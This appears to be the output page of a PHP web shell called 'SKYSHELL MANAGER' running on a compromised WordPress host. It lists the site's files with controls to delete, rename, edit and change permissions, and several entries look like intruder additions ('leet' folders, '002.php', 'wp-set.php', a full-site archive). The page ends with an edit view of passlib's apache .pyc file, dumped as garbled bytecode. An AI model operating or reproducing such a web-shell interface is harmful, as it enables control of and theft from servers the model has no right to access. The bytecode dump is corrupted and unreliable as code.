📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ
PHP v8.1.34
Create
Create
Path:
root
/
home
/
hhwlixlg
/
public_html
/
newcomersnc.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
4465wp
-
0755
🗑️
🏷️
🔒
📁
57d4wp
-
0755
🗑️
🏷️
🔒
📁
61e7leet
-
0755
🗑️
🏷️
🔒
📁
83e6leet
-
0755
🗑️
🏷️
🔒
📁
b48dwp
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
eda7leet
-
0755
🗑️
🏷️
🔒
📁
mwp_db
-
0755
🗑️
🏷️
🔒
📁
newcomersnc
-
0555
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
www
-
0555
🗑️
🏷️
🔒
📄
.ftpquota
0.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess__
0.55 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
002.php
1029.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
400.shtml
0.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
401.shtml
0.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.php
0.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
Default.html
88.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
default.html
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
favicon.ico
0.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.2 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
genialge_be9.sql
74490.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlec31bc5cccda343af.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
opdel.php
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php_errorlog
559.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
public_html.tar.gz (1).zip
10095471.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.0bbdae433d353ac9484cb95b207f090d.html
7.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.64a8c61caaa23298e009a44f553cab58.html
7.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence.7.5.8.zip
5008.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
2.12 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: apache.cpython-36.pyc
3 V��]A� � @ s d Z ddlmZ ddlZeje�ZddlZddlm Z ddl m Z m Z ddl mZ ddlmZ ddlmZ dd lmZmZmZ dd lmZ dd lmZmZm Z m Z d d gZ e � Z dZ!dZ"dZ#dZ$dZ%G dd� de �Z&e'� Z(dd� Z)e)� Z*dd� Z+e+� Z,G dd � d e&�Z-G dd � d e&�Z.dS )z(passlib.apache - apache password support� )�with_statementN)�warn)�exc�registry)� CryptContext)�ExpectedStringError)�htdigest)� render_bytes�to_bytes�is_ascii_codec)�deprecated_method)� join_bytes�unicode�BytesIO�PY3� HtpasswdFile� HtdigestFile� :� #s : �skipped�recordc @ s e Zd ZdZdZdZdZdZdZdZ dZ e dd� �Z e dd� �Z ddddd efd d �Zd d � Zedd� �Zejdd� �Zedd� �Zdd� Zd2dd�Zdd� Zdd� Zdd � Zd d � Zd d � Zd3d!d"�Z d#d$� Z d%d&� Z d'd(� Z d)d*� Z d+d,� Z!d4d.d/�Z"d0d1� Z#dS )5� _CommonFilez0common framework for HtpasswdFile & HtdigestFileNFc K s( d|krt d��| f |�}|j|� |S )z�create new object from raw string. :type data: unicode or bytes :arg data: database to load, as single string. :param \*\*kwds: all other keywords are the same as in the class constructor �pathz$'path' not accepted by from_string())� TypeError� load_string)�cls�data�kwds�self� r � /usr/lib/python3.6/apache.py� from_stringK s z_CommonFile.from_stringc K s | f |�}|j |� |S )z�create new object from file, without binding object to file. :type path: str :arg path: local filepath to load from :param \*\*kwds: all other keywords are the same as in the class constructor )�load)r r r r r r r � from_path\ s z_CommonFile.from_pathTzutf-8c C s� |s t dtdd� d}d}nt|�s,td��|| _|| _|| _|| _d| _|s`t dtdd� d }|rt| rt| j � n i | _ g | _ d S ) Nz�``encoding=None`` is deprecated as of Passlib 1.6, and will cause a ValueError in Passlib 1.8, use ``return_unicode=False`` instead.� )� stacklevelzutf-8Fz'encoding must be 7-bit ascii compatibler zp``autoload=False`` is deprecated as of Passlib 1.6, and will be removed in Passlib 1.8, use ``new=True`` insteadT) r �DeprecationWarningr � ValueError�encoding�return_unicode�autosave�_path�_mtimer" �_records�_source)r r �newZautoloadr* r( r) r r r �__init__n s( z_CommonFile.__init__c C sT d}| j r|d7 }| jr&|d| j 7 }| jdkr>|d| j 7 }d| jjt| �|f S )N� z autosave=Truez path=%rzutf-8z encoding=%rz <%s 0x%0x%s>)r* r+ r( � __class__�__name__�id)r �tailr r r �__repr__� s z_CommonFile.__repr__c C s | j S )N)r+ )r r r r r � s z_CommonFile.pathc C s || j krd| _|| _ d S )Nr )r+ r, )r �valuer r r r � s c C s | j S )z7modify time when last loaded (if bound to a local file))r, )r r r r �mtime� s z_CommonFile.mtimec C s< | j std| ��| jr0| jtjj| j �kr0dS | j� dS )zBReload from ``self.path`` only if file has changed since last loadz %r is not bound to a local fileFT)r+ � RuntimeErrorr, �osr �getmtimer" )r r r r �load_if_changed� s z_CommonFile.load_if_changedc C s� |dk r0t |d��}d| _| j|� W dQ R X nr|sXtdt| jjd� tdd� | j� S | j r�t | j d�� }t j j | j �| _| j|� W dQ R X nt d| jj ��d S ) a� Load state from local file. If no path is specified, attempts to load from ``self.path``. :type path: str :arg path: local file to load from :type force: bool :param force: if ``force=False``, only load from ``self.path`` if file has changed since last load. .. deprecated:: 1.6 This keyword will be removed in Passlib 1.8; Applications should use :meth:`load_if_changed` instead. N�rbr z�%(name)s.load(force=False) is deprecated as of Passlib 1.6,and will be removed in Passlib 1.8; use %(name)s.load_if_changed() instead.)�namer$ )r% z2%s().path is not set, an explicit path is requiredT)�openr, � _load_linesr �dictr2 r3 r& r< r+ r: r r; r9 )r r �force�fhr r r r" � s z_CommonFile.loadc C s& t || jd�}d| _| jt|�� dS )z@Load state from unicode or bytes string, replacing current stater r N)r r( r, r@ r )r r r r r r � s z_CommonFile.load_stringc C s� | j }i }g }d}x�t|�D ]�\}}|j� }| s<|jt�rF||7 }q |||d �\} } | |krxtjd| � ||7 }q |r�|jt|f� d}| || < |jt | f� q W |j � r�|jt|f� || _ || _ dS )zload from sequence of lists� � z1username occurs multiple times in source file: %rN) � _parse_record� enumerate�lstrip� startswith�_BHASH�logZwarning�append�_SKIPPED�_RECORD�rstripr- r. ) r �lines�parse�records�sourcer �idx�lineZtmp�keyr7 r r r r@ � s. z_CommonFile._load_linesc C s t d��dS )z)parse line of file into (key, value) pairz!should be implemented in subclassN)�NotImplementedError)r r �linenor r r rF s z_CommonFile._parse_recordc C s. | j }||k}|||< |s*| jjt|f� |S )z� helper for setting record which takes care of inserting source line if needed; :returns: bool if key already present )r- r. rL rN )r rV r7 rR �existingr r r � _set_record s z_CommonFile._set_recordc C s | j r| jr| j� dS )z0subclass helper to call save() after any changesN)r* r+ �save)r r r r � _autosave! s z_CommonFile._autosavec C sf |dk r.t |d��}|j| j� � W dQ R X n4| jrR| j| j� tjj| j�| _nt d| j j ��dS )zhSave current state to file. If no path is specified, attempts to save to ``self.path``. N�wbz%%s().path is not set, cannot autosave) r? � writelines� _iter_linesr+ r[ r: r r; r, r9 r2 r3 )r r rC r r r r[ & s z_CommonFile.savec C s t | j� �S )z)Export current state as a string of bytes)r r_ )r r r r � to_string4 s z_CommonFile.to_stringc c s| | j }t|�}xT| jD ]J\}}|tkr.|V q|tks:t�||krDq| j||| �V |j|� qW | sxtd|f ��dS )z#iterator yielding lines of databasez'failed to write all records: missing=%rN)r- �setr. rM rN �AssertionError�_render_record�remove)r rR �pending�actionZcontentr r r r_ @ s z_CommonFile._iter_linesc C s t d��dS )z,given key/value pair, encode as line of filez!should be implemented in subclassN)rW )r rV r7 r r r rc [ s z_CommonFile._render_recordc C s | j |d�S )z)user-specific wrapper for _encode_field()�user)� _encode_field)r rg r r r � _encode_userb s z_CommonFile._encode_userc C s | j |d�S )z*realm-specific wrapper for _encode_field()�realm)rh )r rj r r r � _encode_realmf s z_CommonFile._encode_realm�fieldc C sn t |t�r|j| j�}nt |t�s,t||��t|�dkrHtd||f ��tdd� |D ��rjtd||f ��|S )a+ convert field to internal representation. internal representation is always bytes. byte strings are left as-is, unicode strings encoding using file's default encoding (or ``utf-8`` if no encoding has been specified). :raises UnicodeEncodeError: if unicode value cannot be encoded using default encoding. :raises ValueError: if resulting byte string contains a forbidden character, or is too long (>255 bytes). :returns: encoded identifer as bytes � z%%s must be at most 255 characters: %rc s s | ]}|t kV qd S )N)�_INVALID_FIELD_CHARS)�.0�cr r r � <genexpr>� s z,_CommonFile._encode_field.<locals>.<genexpr>z"%s contains invalid characters: %r) � isinstancer �encoder( �bytesr �lenr' �any)r r7 Zparamr r r rh j s z_CommonFile._encode_fieldc C s, t |t�std��| jr$|j| j�S |S dS )aW decode field from internal representation to format returns by users() method, etc. :raises UnicodeDecodeError: if unicode value cannot be decoded using default encoding. (usually indicates wrong encoding set for file). :returns: field as unicode or bytes, as appropriate. zexpected value to be bytesN)rr rt rb r) �decoder( )r r7 r r r � _decode_field� s z_CommonFile._decode_field)NT)N)rl )$r3 � __module__� __qualname__�__doc__r( r) r+ r, r* r- r. � classmethodr! r# r r0 r6 �propertyr �setterr8 r< r" r r@ rF rZ r\ r[ r` r_ rc ri rk rh rx r r r r r , s> " $* r c C s� d } x d D ]}t j|�r |} P q W t jd�r0dnd }tj� |sTtjdddddg� t|p\dd|ph| phd| pnd|ptddd �}|j|d |d d � |S ) N�bcrypt� sha256_crypt�portable_apache_24�host_apache_24�linux_apache_24�portable�host� apr_md5_crypt)r� �portable_apache_22r� Zhost_apache_22r� Zlinux_apache_22)r� r� )r r� )r Zhas_os_crypt_supportZ has_backend�_warn_no_bcrypt�clear�updaterA )Z host_bestr> r Zdefaultsr r r �_init_default_schemes� s* r� c C sZ dddddddg} | j tj� � | d d� dg | }tt| �|jd �} t| td d d �S ) Nr r� Z sha512_cryptZ des_cryptr� Z ldap_sha1Z plaintext� )rV r� Z2y)�schemes�defaultZ bcrypt__ident)�extendr Z get_supported_os_crypt_schemes�sortedra �indexr �htpasswd_defaults)r� Z preferredr r r �_init_htpasswd_context� s r� c s� e Zd ZdZddef� fdd� Zdd� Zdd� Zd d � Zd d � Z e d ddd�dd� �Z dd� Z dd� Z e d ddd�dd� �Zdd� Zd d � Ze d dd d�d d � �Z� ZS )!r a� class for reading & writing Htpasswd files. The class constructor accepts the following arguments: :type path: filepath :param path: Specifies path to htpasswd file, use to implicitly load from and save to. This class has two modes of operation: 1. It can be "bound" to a local file by passing a ``path`` to the class constructor. In this case it will load the contents of the file when created, and the :meth:`load` and :meth:`save` methods will automatically load from and save to that file if they are called without arguments. 2. Alternately, it can exist as an independant object, in which case :meth:`load` and :meth:`save` will require an explicit path to be provided whenever they are called. As well, ``autosave`` behavior will not be available. This feature is new in Passlib 1.6, and is the default if no ``path`` value is provided to the constructor. This is also exposed as a readonly instance attribute. :type new: bool :param new: Normally, if *path* is specified, :class:`HtpasswdFile` will immediately load the contents of the file. However, when creating a new htpasswd file, applications can set ``new=True`` so that the existing file (if any) will not be loaded. .. versionadded:: 1.6 This feature was previously enabled by setting ``autoload=False``. That alias has been deprecated, and will be removed in Passlib 1.8 :type autosave: bool :param autosave: Normally, any changes made to an :class:`HtpasswdFile` instance will not be saved until :meth:`save` is explicitly called. However, if ``autosave=True`` is specified, any changes made will be saved to disk immediately (assuming *path* has been set). This is also exposed as a writeable instance attribute. :type encoding: str :param encoding: Optionally specify character encoding used to read/write file and hash passwords. Defaults to ``utf-8``, though ``latin-1`` is the only other commonly encountered encoding. This is also exposed as a readonly instance attribute. :type default_scheme: str :param default_scheme: Optionally specify default scheme to use when encoding new passwords. This can be any of the schemes with builtin Apache support, OR natively supported by the host OS's :func:`crypt.crypt` function. * Builtin schemes include ``"bcrypt"`` (apache 2.4+), ``"apr_md5_crypt"`, and ``"des_crypt"``. * Schemes commonly supported by Unix hosts include ``"bcrypt"``, ``"sha256_crypt"``, and ``"des_crypt"``. In order to not have to sort out what you should use, passlib offers a number of aliases, that will resolve to the most appropriate scheme based on your needs: * ``"portable"``, ``"portable_apache_24"`` -- pick scheme that's portable across hosts running apache >= 2.4. **This will be the default as of Passlib 2.0**. * ``"portable_apache_22"`` -- pick scheme that's portable across hosts running apache >= 2.4. **This is the default up to Passlib 1.9**. * ``"host"``, ``"host_apache_24"`` -- pick strongest scheme supported by apache >= 2.4 and/or host OS. * ``"host_apache_22"`` -- pick strongest scheme supported by apache >= 2.2 and/or host OS. .. versionadded:: 1.6 This keyword was previously named ``default``. That alias has been deprecated, and will be removed in Passlib 1.8. .. versionchanged:: 1.6.3 Added support for ``"bcrypt"``, ``"sha256_crypt"``, and ``"portable"`` alias. .. versionchanged:: 1.7 Added apache 2.4 semantics, and additional aliases. :type context: :class:`~passlib.context.CryptContext` :param context: :class:`!CryptContext` instance used to create and verify the hashes found in the htpasswd file. The default value is a pre-built context which supports all of the hashes officially allowed in an htpasswd file. This is also exposed as a readonly instance attribute. .. warning:: This option may be used to add support for non-standard hash formats to an htpasswd file. However, the resulting file will probably not be usable by another application, and particularly not by Apache. :param autoload: Set to ``False`` to prevent the constructor from automatically loaded the file from disk. .. deprecated:: 1.6 This has been replaced by the *new* keyword. Instead of setting ``autoload=False``, you should use ``new=True``. Support for this keyword will be removed in Passlib 1.8. :param default: Change the default algorithm used to hash new passwords. .. deprecated:: 1.6 This has been renamed to *default_scheme* for clarity. Support for this alias will be removed in Passlib 1.8. Loading & Saving ================ .. automethod:: load .. automethod:: load_if_changed .. automethod:: load_string .. automethod:: save .. automethod:: to_string Inspection ================ .. automethod:: users .. automethod:: check_password .. automethod:: get_hash Modification ================ .. automethod:: set_password .. automethod:: delete Alternate Constructors ====================== .. automethod:: from_string Attributes ========== .. attribute:: path Path to local file that will be used as the default for all :meth:`load` and :meth:`save` operations. May be written to, initialized by the *path* constructor keyword. .. attribute:: autosave Writeable flag indicating whether changes will be automatically written to *path*. Errors ====== :raises ValueError: All of the methods in this class will raise a :exc:`ValueError` if any user name contains a forbidden character (one of ``:\r\n\t\x00``), or is longer than 255 characters. Nc sr d|kr t dtdd� |jd�}|rT|tkr<t d| tj� tj||�}|j|d�}|| _ t t | �j |f|� d S )Nr� z{``default`` is deprecated as of Passlib 1.6, and will be removed in Passlib 1.8, it has been renamed to ``default_scheem``.r$ )r% zPHtpasswdFile: no bcrypt backends available, using fallback for default scheme %r)r� ) r r& �popr� r ZPasslibSecurityWarningr� �get�copy�context�superr r0 )r r Zdefault_schemer� r )r2 r r r0 � s zHtpasswdFile.__init__c C s* |j � jt�}t|�dkr&td| ��|S )Nr$ z/malformed htpasswd file (error reading line %d))rO �split�_BCOLONru r' )r r rX �resultr r r rF � s zHtpasswdFile._parse_recordc C s t d||�S )Nz%s:%s )r )r rg �hashr r r rc � s zHtpasswdFile._render_recordc s � fdd�� j D �S )z6 Return list of all users in database c s g | ]}� j |��qS r )rx )ro rg )r r r � <listcomp>� s z&HtpasswdFile.users.<locals>.<listcomp>)r- )r r )r r �users� s zHtpasswdFile.usersc C s | j j|�}| j||�S )a� Set password for user; adds user if needed. :returns: * ``True`` if existing user was updated. * ``False`` if user account was added. .. versionchanged:: 1.6 This method was previously called ``update``, it was renamed to prevent ambiguity with the dictionary method. The old alias is deprecated, and will be removed in Passlib 1.8. )r� r� �set_hash)r rg �passwordr� r r r � set_password� s zHtpasswdFile.set_passwordz1.6z1.8r� )� deprecated�removed� replacementc C s | j ||�S )zset password for user)r� )r rg r� r r r r� s zHtpasswdFile.updatec C s* y| j | j|� S tk r$ dS X dS )a Return hash stored for user, or ``None`` if user not found. .. versionchanged:: 1.6 This method was previously named ``find``, it was renamed for clarity. The old name is deprecated, and will be removed in Passlib 1.8. N)r- ri �KeyError)r rg r r r �get_hash s zHtpasswdFile.get_hashc C s< t rt|t�r|j| j�}| j|�}| j||�}| j� |S )z� semi-private helper which allows writing a hash directly; adds user if needed. .. warning:: does not (currently) do any validation of the hash string .. versionadded:: 1.7 )r rr �strrs r( ri rZ r\ )r rg r� rY r r r r� s zHtpasswdFile.set_hashr� c C s | j |�S )zreturn hash for user)r� )r rg r r r �find1 s zHtpasswdFile.findc C s4 y| j | j|�= W n tk r& dS X | j� dS )z�Delete user's entry. :returns: * ``True`` if user deleted. * ``False`` if user not found. FT)r- ri r� r\ )r rg r r r �delete8 s zHtpasswdFile.deletec C sz | j |�}| jj|�}|dkr"dS t|t�r8|j| j�}| jj||�\}}|rv|dk rv|| jksdt �|| j|< | j � |S )aM Verify password for specified user. If algorithm marked as deprecated by CryptContext, will automatically be re-hashed. :returns: * ``None`` if user not found. * ``False`` if user found, but password does not match. * ``True`` if user found and password matches. .. versionchanged:: 1.6 This method was previously called ``verify``, it was renamed to prevent ambiguity with the :class:`!CryptContext` method. The old alias is deprecated, and will be removed in Passlib 1.8. N) ri r- r� rr r rs r( r� Zverify_and_updaterb r\ )r rg r� r� �okZnew_hashr r r �check_passwordF s zHtpasswdFile.check_passwordr� c C s | j ||�S )zverify password for user)r� )r rg r� r r r �verifye s zHtpasswdFile.verify)r3 ry rz r{ �htpasswd_contextr0 rF rc r� r� r r� r� r� r� r� r� r� � __classcell__r r )r2 r r s" / c s� e Zd ZdZdZd+� fdd� Zdd� Zdd� Zd d � Zd d � Z d d� Z dd� Z d,dd�Z de fdd�Zedddd�dd� �Zd-dd �Zde fd d �Zeddd d�d d!� �Zd.d"d#�Zd$d%� Zde fd&d'�Zeddd(d�d)d*� �Z� ZS )/r a� class for reading & writing Htdigest files. The class constructor accepts the following arguments: :type path: filepath :param path: Specifies path to htdigest file, use to implicitly load from and save to. This class has two modes of operation: 1. It can be "bound" to a local file by passing a ``path`` to the class constructor. In this case it will load the contents of the file when created, and the :meth:`load` and :meth:`save` methods will automatically load from and save to that file if they are called without arguments. 2. Alternately, it can exist as an independant object, in which case :meth:`load` and :meth:`save` will require an explicit path to be provided whenever they are called. As well, ``autosave`` behavior will not be available. This feature is new in Passlib 1.6, and is the default if no ``path`` value is provided to the constructor. This is also exposed as a readonly instance attribute. :type default_realm: str :param default_realm: If ``default_realm`` is set, all the :class:`HtdigestFile` methods that require a realm will use this value if one is not provided explicitly. If unset, they will raise an error stating that an explicit realm is required. This is also exposed as a writeable instance attribute. .. versionadded:: 1.6 :type new: bool :param new: Normally, if *path* is specified, :class:`HtdigestFile` will immediately load the contents of the file. However, when creating a new htpasswd file, applications can set ``new=True`` so that the existing file (if any) will not be loaded. .. versionadded:: 1.6 This feature was previously enabled by setting ``autoload=False``. That alias has been deprecated, and will be removed in Passlib 1.8 :type autosave: bool :param autosave: Normally, any changes made to an :class:`HtdigestFile` instance will not be saved until :meth:`save` is explicitly called. However, if ``autosave=True`` is specified, any changes made will be saved to disk immediately (assuming *path* has been set). This is also exposed as a writeable instance attribute. :type encoding: str :param encoding: Optionally specify character encoding used to read/write file and hash passwords. Defaults to ``utf-8``, though ``latin-1`` is the only other commonly encountered encoding. This is also exposed as a readonly instance attribute. :param autoload: Set to ``False`` to prevent the constructor from automatically loaded the file from disk. .. deprecated:: 1.6 This has been replaced by the *new* keyword. Instead of setting ``autoload=False``, you should use ``new=True``. Support for this keyword will be removed in Passlib 1.8. Loading & Saving ================ .. automethod:: load .. automethod:: load_if_changed .. automethod:: load_string .. automethod:: save .. automethod:: to_string Inspection ========== .. automethod:: realms .. automethod:: users .. automethod:: check_password(user[, realm], password) .. automethod:: get_hash Modification ============ .. automethod:: set_password(user[, realm], password) .. automethod:: delete .. automethod:: delete_realm Alternate Constructors ====================== .. automethod:: from_string Attributes ========== .. attribute:: default_realm The default realm that will be used if one is not provided to methods that require it. By default this is ``None``, in which case an explicit realm must be provided for every method call. Can be written to. .. attribute:: path Path to local file that will be used as the default for all :meth:`load` and :meth:`save` operations. May be written to, initialized by the *path* constructor keyword. .. attribute:: autosave Writeable flag indicating whether changes will be automatically written to *path*. Errors ====== :raises ValueError: All of the methods in this class will raise a :exc:`ValueError` if any user name or realm contains a forbidden character (one of ``:\r\n\t\x00``), or is longer than 255 characters. Nc s || _ tt| �j|f|� d S )N)� default_realmr� r r0 )r r r� r )r2 r r r0 s zHtdigestFile.__init__c C s< |j � jt�}t|�dkr&td| ��|\}}}||f|fS )Nr� z/malformed htdigest file (error reading line %d))rO r� r� ru r' )r r rX r� rg rj r� r r r rF s zHtdigestFile._parse_recordc C s |\}}t d|||�S )Nz %s:%s:%s )r )r rV r� rg rj r r r rc s zHtdigestFile._render_recordc C s" |d kr | j }|d kr td��|S )NzGyou must specify a realm explicitly, or set the default_realm attribute)r� r )r rj r r r �_require_realm s zHtdigestFile._require_realmc C s | j |�}| j|d�S )Nrj )r� rh )r rj r r r rk s zHtdigestFile._encode_realmc C s | j |�| j|�fS )N)ri rk )r rg rj r r r � _encode_key# s zHtdigestFile._encode_keyc s& t dd� � jD ��}� fdd�|D �S )z%Return list of all realms in databasec s s | ]}|d V qdS )rE Nr )ro rV r r r rq , s z&HtdigestFile.realms.<locals>.<genexpr>c s g | ]}� j |��qS r )rx )ro rj )r r r r� - s z'HtdigestFile.realms.<locals>.<listcomp>)ra r- )r �realmsr )r r r� * s zHtdigestFile.realmsc s �j � �� � �fdd��jD �S )z�Return list of all users in specified realm. * uses ``self.default_realm`` if no realm explicitly provided. * returns empty list if realm not found. c s& g | ] }|d � kr�j |d ��qS )rE r )rx )ro rV )rj r r r r� 6 s z&HtdigestFile.users.<locals>.<listcomp>)rk r- )r rj r )rj r r r� / s zHtdigestFile.usersc C s> |t krd| }}| j|�}tj|||| jd�}| j|||�S )a� Set password for user; adds user & realm if needed. If ``self.default_realm`` has been set, this may be called with the syntax ``set_password(user, password)``, otherwise it must be called with all three arguments: ``set_password(user, realm, password)``. :returns: * ``True`` if existing user was updated * ``False`` if user account added. N)r( )�_UNSETr� r r� r( r� )r rg rj r� r� r r r r� Q s zHtdigestFile.set_passwordz1.6z1.8r� )r� r� r� c C s | j |||�S )zset password for user)r� )r rg rj r� r r r r� d s zHtdigestFile.updatec C s8 | j ||�}| jj|�}|dkr$dS tr4|j| j�}|S )a� Return :class:`~passlib.hash.htdigest` hash stored for user. * uses ``self.default_realm`` if no realm explicitly provided. * returns ``None`` if user or realm not found. .. versionchanged:: 1.6 This method was previously named ``find``, it was renamed for clarity. The old name is deprecated, and will be removed in Passlib 1.8. N)r� r- r� r rw r( )r rg rj rV r� r r r r� j s zHtdigestFile.get_hashc C sP |t krd| }}tr,t|t�r,|j| j�}| j||�}| j||�}| j� |S )a� semi-private helper which allows writing a hash directly; adds user & realm if needed. If ``self.default_realm`` has been set, this may be called with the syntax ``set_hash(user, hash)``, otherwise it must be called with all three arguments: ``set_hash(user, realm, hash)``. .. warning:: does not (currently) do any validation of the hash string .. versionadded:: 1.7 N) r� r rr r� rs r( r� rZ r\ )r rg rj r� rV rY r r r r� } s zHtdigestFile.set_hashr� c C s | j ||�S )zreturn hash for user)r� )r rg rj r r r r� � s zHtdigestFile.findc C s: | j ||�}y | j|= W n tk r, dS X | j� dS )z�Delete user's entry for specified realm. if realm is not specified, uses ``self.default_realm``. :returns: * ``True`` if user deleted, * ``False`` if user not found in realm. FT)r� r- r� r\ )r rg rj rV r r r r� � s zHtdigestFile.deletec sF | j � �� | j}� fdd�|D �}x|D ] }||= q(W | j� t|�S )z�Delete all users for specified realm. if realm is not specified, uses ``self.default_realm``. :returns: number of users deleted (0 if realm not found) c s g | ]}|d � kr|�qS )rE r )ro rV )rj r r r� � s z-HtdigestFile.delete_realm.<locals>.<listcomp>)rk r- r\ ru )r rj rR �keysrV r )rj r � delete_realm� s zHtdigestFile.delete_realmc C sX |t krd| }}| j|�}| j|�}| jj||f�}|dkrBdS tj||||| jd�S )a� Verify password for specified user + realm. If ``self.default_realm`` has been set, this may be called with the syntax ``check_password(user, password)``, otherwise it must be called with all three arguments: ``check_password(user, realm, password)``. :returns: * ``None`` if user or realm not found. * ``False`` if user found, but password does not match. * ``True`` if user found and password matches. .. versionchanged:: 1.6 This method was previously called ``verify``, it was renamed to prevent ambiguity with the :class:`!CryptContext` method. The old alias is deprecated, and will be removed in Passlib 1.8. N)r( )r� ri rk r- r� r r� r( )r rg rj r� r� r r r r� � s zHtdigestFile.check_passwordr� c C s | j |||�S )zverify password for user)r� )r rg rj r� r r r r� � s zHtdigestFile.verify)NN)N)N)N)r3 ry rz r{ r� r0 rF rc r� rk r� r� r� r� r� r r� r� r� r� r� r� r� r� r� r r )r2 r r r s. " )/r{ Z __future__r ZloggingZ getLoggerr3 rK r: �warningsr Zpasslibr r Zpasslib.contextr Z passlib.excr Z passlib.hashr Z passlib.utilsr r r Zpasslib.utils.decorr Zpasslib.utils.compatr r r r �__all__�objectr� r� rJ rn rM rN r ra r� r� r� r� r� r r r r r r �<module> sB )- c
Save